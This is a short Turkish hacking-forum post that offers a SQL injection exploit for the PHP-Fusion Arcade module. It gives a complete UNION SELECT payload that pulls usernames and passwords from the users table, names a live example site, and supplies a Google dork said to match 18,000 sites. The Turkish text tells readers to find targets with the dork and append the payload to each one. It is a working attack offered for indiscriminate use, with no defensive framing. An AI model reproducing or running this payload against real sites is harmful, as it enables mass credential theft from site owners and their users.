exploit PHP-FUSION Arcade Module (cid) Remote SQL Injection

MASTER Mesaj Sayısı : 199 Kayıt tarihi : 08/03/08

PHP-FUSION Arcade Module (cid) Remote SQL Injection Vuln

--------------------------------

Exploit:

index.php?op=view_game_list&cid=-1/**/union/**/select/**/null,user_name,user_password,null,null,null/**/from/**/fusion_users/*

--------------------------------

Exapmle: http://www.basicwallpapers.dk/infusions/arcade/

--------------------------------

Google Dork:
/infusions/arcade/ 18.000 sites

--------------------------------

kısaca googlede /infusions/arcade/ şeklinde aratıyoruz (arama yollarını genişletebiliriz)

url adresinde arama yaptığımız klasör olan sitelerin ucuna index.php?op=view_game_list&cid=-1/**/union/**/select/**/null,user_name,user_password,null,null,null/**/from/**/fusion_users/* kodumuzu ekliyoruz

» Golden FTP Server Pro 2.52 Remote Buffer Overflow Exploit
» Serv-U FTPD 3.x/4.x/5.x (MDTM) Remote Overflow Exploit
» MS Exchange Server Remote Code Execution Exploit (MS05-021)
» PostNuke pnFlashGames Module v1.5 [Taze]